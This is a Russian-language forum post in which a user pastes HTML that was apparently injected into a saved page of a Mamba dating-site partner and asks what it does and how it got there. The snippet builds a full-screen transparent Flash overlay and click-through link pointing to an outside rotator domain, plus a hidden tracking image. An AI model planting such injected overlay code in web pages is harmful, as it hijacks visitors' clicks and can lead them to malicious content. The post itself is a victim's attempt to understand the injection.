Показать сообщение отдельно
  #5 (permalink)  
Старый 22.05.2012, 13:57
Новичок на форуме
Отправить личное сообщение для =bor= Посмотреть профиль Найти все сообщения от =bor=
 
Регистрация: 21.05.2012
Сообщений: 8

Сообщение от Serg_pnz Посмотреть сообщение
Скорее всего ломанули вас. И антивирусник не покажет, если внедрили просто ссылку (линк) на вредоносный файл.
Что надо сделать:
1. Сменить пароль на фтп
2. Почистить комп от троянов

Лечение на сайте: смотрите последние измененные файлы. Как правило подписывают в самом низу. Удаляйте код, который вы не добавляли.
"Ломанули". Вы имеете в виду, ломанули сайт mamba.oktan.com.ua, на котором эта страница лежит? Но это партнёрка mamba.ru, и все партнёры обращаются к одной базе (вроде как).
В этом случае:
1) ломанули базу mamba.ru
или
2) внедрили люди, имеющие доступ (админы).
Щас это неважно, мне другое интересно:
1. Какой его функционал?
Это же можно выяснить по коду. Я сравнил коды страниц до и после удаления скрипта, отличие в небольшом куске (во вложенном файле 1.txt внизу, начиная с "saved_resource(3)").
Там, в-частности, такой код:

Код:
<div id="_FlashDiv_wb_" style="position: fixed; top: 50%; left: 50%; width: 640px; height: 0px; margin: -240px 0px 0px -320px; "><span style="position: absolute; top: 0px; right: 0px; width: 640px; height: 480px; "><object type="application/x-shockwave-flash" data="http://s3-eu-west-1.amazonaws.com/wbnr/e/7/9/e795e400-9c37-11e1-83a3-00163e4c1517.swf?link1=http%3A%2F%2Funo.wt-rotator105.ru%2F%3Ft%3Dclk%26ctck%3D25mVbeYrkpb54gBJDJS5uk6MRoGx3KklHkDUyIFcYjiqTzG-TKuoxjns7f8cjWxrmIQSnuQAfFHQXRqJcC1lXR0SlG8qvli7nz2XZ14ndeOgfdLaDmik-YkeGbnc31xn5zyrdhiuIy6ikYIc_ckTrrJ0bQ6-SdhK194sLfj_og_5sQXgKv_Jquhqdx-IxKgO_q0P_i8GJl0AAXmPhj2WhpHTRS4PtCcxDLDDEGpQyNMlqOguqjFnI9YE1XU-jzglAFcgqx8h9lw8QkB5SHSAeijQjh35RnWz7EQ39NmkYmpBHkNRuGhfNZ7HtFYDbDb8X9045GLlr4WYLn8sIFFKa8fMx87Ace7F39qYyFHB9gqftejOSX_s6Be5oP-EPOmHR-C_vd1Vfzenw-R65PPFhxV8j_HZuDmYqc33g5_ai4CS%26amp%3Brival%3Dfalse" width="640" height="480" id="cat1337541944114" style="visibility: visible; "><param name="wmode" value="transparent"><param name="quality" value="high"><param name="loop" value="true"><param name="allowScriptAccess" value="always"></object><a style="left: 0px; top: 0px; right: 0px; bottom: 0px; position: absolute; background-image: url(data:image/png;base64,R0lGODlhAQABAPcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAABAAEAAAgEAP8FBAA7); background-position: initial initial; background-repeat: initial initial; " target="_blank" href="http://uno.wt-rotator105.ru/?t=clk&ctck=25mVbeYrkpb54gBJDJS5uk6MRoGx3KklHkDUyIFcYjiqTzG-TKuoxjns7f8cjWxrmIQSnuQAfFHQXRqJcC1lXR0SlG8qvli7nz2XZ14ndeOgfdLaDmik-YkeGbnc31xn5zyrdhiuIy6ikYIc_ckTrrJ0bQ6-SdhK194sLfj_og_5sQXgKv_Jquhqdx-IxKgO_q0P_i8GJl0AAXmPhj2WhpHTRS4PtCcxDLDDEGpQyNMlqOguqjFnI9YE1XU-jzglAFcgqx8h9lw8QkB5SHSAeijQjh35RnWz7EQ39NmkYmpBHkNRuGhfNZ7HtFYDbDb8X9045GLlr4WYLn8sIFFKa8fMx87Ace7F39qYyFHB9gqftejOSX_s6Be5oP-EPOmHR-C_vd1Vfzenw-R65PPFhxV8j_HZuDmYqc33g5_ai4CS&amp;rival=false"></a><span style="position: absolute; top: -12px; right: -12px; z-index: 100; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAQAAACROWYpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAy1JREFUOI2NlU1IG1EQx8e4icbYWMNKUoWwIMFvEFIPVdGezJbQghRRPIg2UCgBz7lYEKHXnj16yVEQcrKiJ0FBvQg9eIhIEDEHP9BY8uX0/3Y32c1HP94EMpmZ35t57817IcLgCqEGiI0aIRJEfNs0W/1RAdpIOvA+LOcTxRMucKF4kk88LB94MY2t7gRWcL0ts/J8z1Xj+T6zst5Wd4Iyat9T8kcieIvnOcgSJAhtS5sgf7SnkL0G19BGcmwHiinmIw5z1TbAIuYsprYD5EBkBS6yOmY8uWPmBMs1qBAZHubc8YwHeEV2FEyu9JrI2l4XFdKuZU+vkUsrvpxXImdMKd5yueAYq2VIxa9S8Sj9NqaQE0RDKa+D3D+jomQ96CuCngxchcaw6B5R+nmM3Frp2pCoheS7HeYvRsiitrsC11HmiOGZh363QzIILXcDVuCmzl/nzD3lUnU8C7GixF1i066pC4RdwDZqJg8phQfml5btWSw3SMRibRINkyMFRLMovBHL76BANawaWbOWrSN+AUvhiQIgnCDxcZGXejMX1rJLay2tvWTvwe/MBfWCcAlYolbyUd/lPvPnKnTRsnXmhl3uUz+9AiWV4a1vlUclUHPt1qP68R2wT4eNskfUXMZsklUD1fFVS5PkMq/fmWUbG0ZvdjeYD//anoeAdzdo1Nww46goKIfTSXEZ3XVRt3Yx00n/ewqaR2U0CQ3Q5FTk8UZcDrUGVbVL8XgzFaFJGjSbxGhP6qYRCoWiV0n9MZjlYQ0bhqY/BlfJUJRCiOo229O4GMjdR2MU9i0kNrPmIRsj+5TY9C1QGBF9iLRcDO1KYhV+GqJxBMwOROPxs9PrlMCuU2en8fhAlGbhGUeEH5GWK2k8BihGgXMMpU3THC3QEn2CLEGbgyUEzxAi5MrHwHjBcOwy5u3HqiZJpQ8APkKmoamwjMDjR0RrvVdM4C6U1IkNGcRxjNIEvYVMQAvC0g2PBxE1aAm3YzVuzN6F8gLoo35ILzQFFhkeJyLqoKU3VKImHIMbOTrQgj6IF5oHlhZ4/vSvUTGBHf3jRImtEBe0Zlj+AZoT/Ocf3W8M2nFgGCB/ewAAAABJRU5ErkJggg==); width: 30px; height: 30px; cursor: pointer; background-position: 50% 50%; background-repeat: no-repeat no-repeat; "></span></span><img style="left: -10000px; top: -10000px; height: 1px; width: 1px; position: absolute; " src="./Знакомства Mamba в Украине. Бесплатный сайт знакомств Мамба в Киеве. — _оле-лукойе, Германия, Hannover_files/saved_resource(4)"></div>
2. Как этот код попал на сохранённую мною страницу?
Он изначально был встроен в страницу, хранящуюся там у них в базе, или же был сгенерирован динамически?
Ответить с цитированием